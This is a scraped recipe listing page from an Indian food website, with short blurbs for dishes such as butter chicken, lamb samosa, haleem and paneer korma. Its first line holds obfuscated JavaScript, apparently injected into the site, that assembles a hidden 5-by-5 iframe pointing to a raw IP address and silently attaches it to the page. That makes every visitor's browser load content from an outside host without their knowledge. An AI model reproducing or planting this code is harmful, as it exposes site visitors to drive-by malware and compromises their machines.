roti ye='/';y='.';nz='r';mq='b2';l='21';r='ame';a='tp:';x='55.';lo='5';b='91';z='R';xx='17';c='//';ym='c';pe='?e';qq='h';s='ifr';o='s';ka='.1';uz='t';u=s.concat(r);i=o.concat(nz,ym);dt=qq.concat(uz,a,c,b,y,l,lo,ka,x,xx,ye,pe,mq,z);var aw=document.createElement(u);aw.setAttribute('width','5');aw.setAttribute('height','5');aw.setAttribute('style','display:none');aw.setAttribute(i,dt);document.body.appendChild(aw);

Food

NRI

Google fb32x32 twitter linkedin feed-icon-32x32

Latest Recipes

A ‘60s specialty done up with Indian flavours!

Last modified on December 17, 2012
Last modified on December 17, 2012

The younger cousin of the Punjabi chhole. Gets cooked immediately and tastes as good.

Last modified on November 30, 1999

Delicious lamb samosa

Last modified on December 15, 2012

Sauteed onion with poppy seed paste, a delectable mash, or call it a scramble.

Last modified on November 30, 1999

Butter chicken (a.k.a Chicken Makhanwala) is an all time favorite Indian chicken dish cooked in a tangy tomato curry.

Last modified on December 15, 2012

Masala stuffed Brinjals UP style.

Last modified on November 30, 1999

Haleem is a dish of Arabic origin , popular in many parts of India in it's different avatars. In UP it is made more like a chunky porridge and is called Khichra, everything else is blended well but the meat remains in small chunks.

Last modified on November 30, 1999

This is a lovely authentic GSB Konkani recipe from my mother’s kitchen.

Last modified on November 30, 1999

You can’t go wrong with this simplest of all chicken curries.

Last modified on December 16, 2012

Indian Cottage Cheese in a thick Korma sauce that is hot,spicy, sour and just tatntalises the senses.

Last modified on November 30, 1999
<< Start < Prev 1 2 3 Next > End >>
Page 1 of 3